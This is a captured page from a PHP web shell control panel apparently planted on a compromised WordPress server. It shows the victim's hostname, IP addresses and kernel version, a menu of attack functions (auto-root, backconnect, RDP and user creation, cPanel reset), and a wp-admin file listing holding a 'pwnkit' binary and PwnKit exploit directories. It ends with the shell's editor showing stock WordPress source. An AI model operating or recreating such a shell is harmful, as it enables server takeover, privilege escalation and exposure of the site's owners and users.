Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.71.255.79
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
administrator /
sbs.cy /
wp-admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
maint
[ DIR ]
drwxr-xr-x
network
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
.htaccess
1.97
KB
-r--r--r--
.mad-root
0
B
-rw-r--r--
about.php
24.77
KB
-rw-r--r--
admin-ajax.php
5.01
KB
-rw-r--r--
admin-footer.php
2.76
KB
-rw-r--r--
admin-functions.php
406
B
-rw-r--r--
admin-header.php
8.82
KB
-rw-r--r--
admin-post.php
2
KB
-rw-r--r--
admin.php
12.26
KB
-rw-r--r--
async-upload.php
4.68
KB
-rw-r--r--
authorize-application.php
10.09
KB
-rw-r--r--
comment.php
11.29
KB
-rw-r--r--
contribute.php
5.59
KB
-rw-r--r--
credits.php
3.75
KB
-rw-r--r--
custom-background.php
416
B
-rw-r--r--
custom-header.php
426
B
-rw-r--r--
customize.php
10.61
KB
-rw-r--r--
edit-comments.php
14.38
KB
-rw-r--r--
edit-form-advanced.php
28.66
KB
-rw-r--r--
edit-form-blocks.php
11.74
KB
-rw-r--r--
edit-form-comment.php
8.34
KB
-rw-r--r--
edit-link-form.php
6.21
KB
-rw-r--r--
edit-tag-form.php
10.45
KB
-rw-r--r--
edit-tags.php
21.91
KB
-rw-r--r--
edit.php
19.43
KB
-rw-r--r--
erase-personal-data.php
7.36
KB
-rw-r--r--
error_log
29.47
KB
-rw-r--r--
export-personal-data.php
7.76
KB
-rw-r--r--
export.php
11.01
KB
-rw-r--r--
filefuns.php
18.72
KB
-r--r--r--
freedoms.php
4.5
KB
-rw-r--r--
import.php
7.48
KB
-rw-r--r--
index.php
7.68
KB
-rw-r--r--
install-helper.php
6.8
KB
-rw-r--r--
install.php
17.08
KB
-rw-r--r--
link-add.php
742
B
-rw-r--r--
link-manager.php
4.26
KB
-rw-r--r--
link-parse-opml.php
2.63
KB
-rw-r--r--
link.php
2.7
KB
-rw-r--r--
load-scripts.php
1.66
KB
-rw-r--r--
load-styles.php
2.56
KB
-rw-r--r--
media-new.php
3.18
KB
-rw-r--r--
media-upload.php
3.49
KB
-rw-r--r--
media.php
763
B
-rw-r--r--
menu-header.php
9.84
KB
-rw-r--r--
menu.php
16.99
KB
-rw-r--r--
moderation.php
307
B
-rw-r--r--
ms-admin.php
196
B
-rw-r--r--
ms-delete-site.php
4.19
KB
-rw-r--r--
ms-edit.php
216
B
-rw-r--r--
ms-options.php
223
B
-rw-r--r--
ms-sites.php
215
B
-rw-r--r--
ms-themes.php
217
B
-rw-r--r--
ms-upgrade-network.php
219
B
-rw-r--r--
ms-users.php
215
B
-rw-r--r--
my-sites.php
4.74
KB
-rw-r--r--
nav-menus.php
47.76
KB
-rw-r--r--
network.php
5.35
KB
-rw-r--r--
options-discussion.php
15.58
KB
-rw-r--r--
options-general.php
20.72
KB
-rw-r--r--
options-head.php
492
B
-rw-r--r--
options-media.php
6.35
KB
-rw-r--r--
options-permalink.php
21.15
KB
-rw-r--r--
options-privacy.php
9.95
KB
-rw-r--r--
options-reading.php
10.07
KB
-rw-r--r--
options-writing.php
9.06
KB
-rw-r--r--
options.php
13.32
KB
-rw-r--r--
plugin-editor.php
13.39
KB
-rw-r--r--
plugin-install.php
6.96
KB
-rw-r--r--
plugins.php
29.13
KB
-rw-r--r--
post-new.php
2.64
KB
-rw-r--r--
post.php
9.85
KB
-rw-r--r--
press-this.php
2.34
KB
-rw-r--r--
privacy-policy-guide.php
3.67
KB
-rw-r--r--
privacy.php
2.48
KB
-rw-r--r--
profile.php
283
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
revision.php
5.47
KB
-rw-r--r--
setup-config.php
17.48
KB
-rw-r--r--
site-editor.php
6.26
KB
-rw-r--r--
site-health-info.php
3.97
KB
-rw-r--r--
site-health.php
10.14
KB
-rw-r--r--
term.php
2.2
KB
-rw-r--r--
theme-editor.php
15.15
KB
-rw-r--r--
theme-install.php
23.35
KB
-rw-r--r--
themes.php
46.89
KB
-rw-r--r--
tools.php
3.43
KB
-rw-r--r--
update-core.php
45.4
KB
-rw-r--r--
update.php
12.79
KB
-rw-r--r--
upgrade-functions.php
341
B
-rw-r--r--
upgrade.php
5.55
KB
-rw-r--r--
upload.php
14.84
KB
-rw-r--r--
user-edit.php
39.07
KB
-rw-r--r--
user-new.php
23.98
KB
-rw-r--r--
users.php
23.29
KB
-rw-r--r--
widgets-form-blocks.php
4.39
KB
-rw-r--r--
widgets-form.php
19.17
KB
-rw-r--r--
widgets.php
1.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : authorize-application.php
<?php /** * Authorize Application Screen * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; $error = null; $new_password = ''; // This is the no-js fallback script. Generally this will all be handled by `auth-app.js`. if ( isset( $_POST['action'] ) && 'authorize_application_password' === $_POST['action'] ) { check_admin_referer( 'authorize_application_password' ); $success_url = $_POST['success_url']; $reject_url = $_POST['reject_url']; $app_name = $_POST['app_name']; $app_id = $_POST['app_id']; $redirect = ''; if ( isset( $_POST['reject'] ) ) { if ( $reject_url ) { $redirect = $reject_url; } else { $redirect = admin_url(); } } elseif ( isset( $_POST['approve'] ) ) { $created = WP_Application_Passwords::create_new_application_password( get_current_user_id(), array( 'name' => $app_name, 'app_id' => $app_id, ) ); if ( is_wp_error( $created ) ) { $error = $created; } else { list( $new_password ) = $created; if ( $success_url ) { $redirect = add_query_arg( array( 'site_url' => urlencode( site_url() ), 'user_login' => urlencode( wp_get_current_user()->user_login ), 'password' => urlencode( $new_password ), ), $success_url ); } } } if ( $redirect ) { // Explicitly not using wp_safe_redirect b/c sends to arbitrary domain. wp_redirect( $redirect ); exit; } } // Used in the HTML title tag. $title = __( 'Authorize Application' ); $app_name = ! empty( $_REQUEST['app_name'] ) ? $_REQUEST['app_name'] : ''; $app_id = ! empty( $_REQUEST['app_id'] ) ? $_REQUEST['app_id'] : ''; $success_url = ! empty( $_REQUEST['success_url'] ) ? $_REQUEST['success_url'] : null; if ( ! empty( $_REQUEST['reject_url'] ) ) { $reject_url = $_REQUEST['reject_url']; } elseif ( $success_url ) { $reject_url = add_query_arg( 'success', 'false', $success_url ); } else { $reject_url = null; } $user = wp_get_current_user(); $request = compact( 'app_name', 'app_id', 'success_url', 'reject_url' ); $is_valid = wp_is_authorize_application_password_request_valid( $request, $user ); if ( is_wp_error( $is_valid ) ) { wp_die( __( 'The Authorize Application request is not allowed.' ) . ' ' . implode( ' ', $is_valid->get_error_messages() ), __( 'Cannot Authorize Application' ) ); } if ( wp_is_site_protected_by_basic_auth( 'front' ) ) { wp_die( __( 'Your website appears to use Basic Authentication, which is not currently compatible with application passwords.' ), __( 'Cannot Authorize Application' ), array( 'response' => 501, 'link_text' => __( 'Go Back' ), 'link_url' => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(), ) ); } if ( ! wp_is_application_passwords_available_for_user( $user ) ) { if ( wp_is_application_passwords_available() ) { $message = __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ); } else { $message = __( 'Application passwords are not available.' ); } wp_die( $message, __( 'Cannot Authorize Application' ), array( 'response' => 501, 'link_text' => __( 'Go Back' ), 'link_url' => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(), ) ); } wp_enqueue_script( 'auth-app' ); wp_localize_script( 'auth-app', 'authApp', array( 'site_url' => site_url(), 'user_login' => $user->user_login, 'success' => $success_url, 'reject' => $reject_url ? $reject_url : admin_url(), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <?php if ( is_wp_error( $error ) ) { wp_admin_notice( $error->get_error_message(), array( 'type' => 'error', ) ); } ?> <div class="card auth-app-card"> <h2 class="title"><?php _e( 'An application would like to connect to your account.' ); ?></h2> <?php if ( $app_name ) : ?> <p> <?php printf( /* translators: %s: Application name. */ __( 'Would you like to give the application identifying itself as %s access to your account? You should only do this if you trust the application in question.' ), '<strong>' . esc_html( $app_name ) . '</strong>' ); ?> </p> <?php else : ?> <p><?php _e( 'Would you like to give this application access to your account? You should only do this if you trust the application in question.' ); ?></p> <?php endif; ?> <?php if ( is_multisite() ) { $blogs = get_blogs_of_user( $user->ID, true ); $blogs_count = count( $blogs ); if ( $blogs_count > 1 ) { ?> <p> <?php /* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */ $message = _n( 'This will grant access to <a href="%1$s">the %2$s site in this installation that you have permissions on</a>.', 'This will grant access to <a href="%1$s">all %2$s sites in this installation that you have permissions on</a>.', $blogs_count ); if ( is_super_admin() ) { /* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */ $message = _n( 'This will grant access to <a href="%1$s">the %2$s site on the network as you have Super Admin rights</a>.', 'This will grant access to <a href="%1$s">all %2$s sites on the network as you have Super Admin rights</a>.', $blogs_count ); } printf( $message, admin_url( 'my-sites.php' ), number_format_i18n( $blogs_count ) ); ?> </p> <?php } } ?> <?php if ( $new_password ) : $message = '<p class="application-password-display"> <label for="new-application-password-value">' . sprintf( /* translators: %s: Application name. */ esc_html__( 'Your new password for %s is:' ), '<strong>' . esc_html( $app_name ) . '</strong>' ) . ' </label> <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="' . esc_attr( WP_Application_Passwords::chunk_password( $new_password ) ) . '" /> </p> <p>' . __( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) . '</p>'; $args = array( 'type' => 'success', 'additional_classes' => array( 'notice-alt', 'below-h2' ), 'paragraph_wrap' => false, ); wp_admin_notice( $message, $args ); /** * Fires in the Authorize Application Password new password section in the no-JS version. * * In most cases, this should be used in combination with the {@see 'wp_application_passwords_approve_app_request_success'} * action to ensure that both the JS and no-JS variants are handled. * * @since 5.6.0 * @since 5.6.1 Corrected action name and signature. * * @param string $new_password The newly generated application password. * @param array $request The array of request data. All arguments are optional and may be empty. * @param WP_User $user The user authorizing the application. */ do_action( 'wp_authorize_application_password_form_approved_no_js', $new_password, $request, $user ); else : ?> <form action="<?php echo esc_url( admin_url( 'authorize-application.php' ) ); ?>" method="post" class="form-wrap"> <?php wp_nonce_field( 'authorize_application_password' ); ?> <input type="hidden" name="action" value="authorize_application_password" /> <input type="hidden" name="app_id" value="<?php echo esc_attr( $app_id ); ?>" /> <input type="hidden" name="success_url" value="<?php echo esc_url( $success_url ); ?>" /> <input type="hidden" name="reject_url" value="<?php echo esc_url( $reject_url ); ?>" /> <div class="form-field"> <label for="app_name"><?php _e( 'New Application Password Name' ); ?></label> <input type="text" id="app_name" name="app_name" value="<?php echo esc_attr( $app_name ); ?>" required /> </div> <?php /** * Fires in the Authorize Application Password form before the submit buttons. * * @since 5.6.0 * * @param array $request { * The array of request data. All arguments are optional and may be empty. * * @type string $app_name The suggested name of the application. * @type string $success_url The URL the user will be redirected to after approving the application. * @type string $reject_url The URL the user will be redirected to after rejecting the application. * } * @param WP_User $user The user authorizing the application. */ do_action( 'wp_authorize_application_password_form', $request, $user ); ?> <?php submit_button( __( 'Yes, I approve of this connection' ), 'primary', 'approve', false, array( 'aria-describedby' => 'description-approve', ) ); ?> <p class="description" id="description-approve"> <?php if ( $success_url ) { printf( /* translators: %s: The URL the user is being redirected to. */ __( 'You will be sent to %s' ), '<strong><code>' . esc_html( add_query_arg( array( 'site_url' => site_url(), 'user_login' => $user->user_login, 'password' => '[------]', ), $success_url ) ) . '</code></strong>' ); } else { _e( 'You will be given a password to manually enter into the application in question.' ); } ?> </p> <?php submit_button( __( 'No, I do not approve of this connection' ), 'secondary', 'reject', false, array( 'aria-describedby' => 'description-reject', ) ); ?> <p class="description" id="description-reject"> <?php if ( $reject_url ) { printf( /* translators: %s: The URL the user is being redirected to. */ __( 'You will be sent to %s' ), '<strong><code>' . esc_html( $reject_url ) . '</code></strong>' ); } else { _e( 'You will be returned to the WordPress Dashboard, and no changes will be made.' ); } ?> </p> </form> <?php endif; ?> </div> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php';
Close